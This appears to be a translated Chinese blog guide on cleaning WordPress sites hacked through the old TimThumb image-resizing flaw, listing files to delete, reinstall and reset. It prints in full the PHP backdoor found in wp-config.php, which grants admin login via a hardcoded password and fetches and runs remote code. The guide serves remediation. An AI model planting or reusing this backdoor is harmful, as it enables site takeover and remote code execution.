如何在WordPress中修复和清理TimThumb Hack
所以,如果你没记错的话,8月份的TimThumb脚本存在安全问题。但令我们惊讶的是,许多网站仍在使用旧版本。到目前为止,我们在过去一个月内修复了三个网站,一个是昨天。因此,简单地编写一步一步的文章是有道理的,因此我们的用户可以遵循它。我们解决这个问题的三个用户都不知道TimThumb是什么,或者他们是否使用它。
TimThumb是一个调整图像大小的PHP脚本。它有一个漏洞,但现在使用它是安全的。
那你怎么知道你的网站被黑了?如果您在访问自己的网站时在浏览器上看到一个大红色屏幕:
如果您开始收到有关用户从您的网站重定向的电子邮件的轰炸。最有可能的情况是,您的网站是此漏洞的受害者。
作为一项预防措施,每个人都应该使用这个Timthumb漏洞扫描程序。这将告诉您是否使用旧版TimThumb。许多主题俱乐部立即升级了他们的核心。因此,这个插件将检查是否安装了新的安全版本的Timthumb或是否安装了旧版本。
现在,如果您的网站已经成为这个Timthumb漏洞的牺牲品,那么这就是您需要做的事情。
首先,您需要删除以下文件:
/wp-admin/upd.php /wp-content/upd.php
登录WordPress管理面板并重新安装WordPress版本。我们特意寻找重新安装这些文件:
/wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js
然后打开你的 wp-config.php 你最有可能找到这个收集登录凭据的大恶意软件代码和饼干。此代码将显示在底部。
if (isset($_GET["pingnow"])&& isset($_GET["pass"])){ if ($_GET["pass"] == "19ca14e7ea6328a42e0eb13d585e4c22"){ if ($_GET["pingnow"]== "login"){ $user_login = "admin"; $user = get_userdatabylogin($user_login); $user_id = $user->ID; wp_set_current_user($user_id, $user_login); wp_set_auth_cookie($user_id); do_action("wp_login", $user_login); } if (($_GET["pingnow"]== "exec")&&(isset($_GET["file"]))){ $ch = curl_init($_GET["file"]); $fnm = md5(rand(0,100)).".php"; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href="$fnm";</SCRIPT>"; } if (($_GET["pingnow"]== "eval")&&(isset($_GET["file"]))){ $ch = curl_init($_GET["file"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); }}}
在您的主题文件夹中,查找TimThumb脚本可能存储缓存文件的任何位置。通常它们处于这种结构中:
/wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php /wp-content/themes/themename/temp/cache/external_{MD5Hash}.php
删除看起来像这样的所有内容。如果您对某些事情不确定,请删除不是图像文件的所有内容。
您要做的下一件事是将timthumb.php替换为最新版本,可以在http:// timthumb找到。googlecode.com/svn/trunk/timthumb.php
现在,从MySQL登录信息开始,将密码更改为WordPress登录信息是个不错的主意。不要忘记在wp-config.php中更改MySQL的密码,否则将出现“Error Establishing Connection”屏幕。
更改wp-config.php文件中的密钥。您可以通过转到在线生成器来生成新密钥。
现在您已完成。不要忘记清空所有页面缓存插件。作为一种警示措施,最好清除浏览器缓存和cookie。
对于开发人员,请尝试使用WordPress中的“附加图像大小”功能来替换Timthumb功能。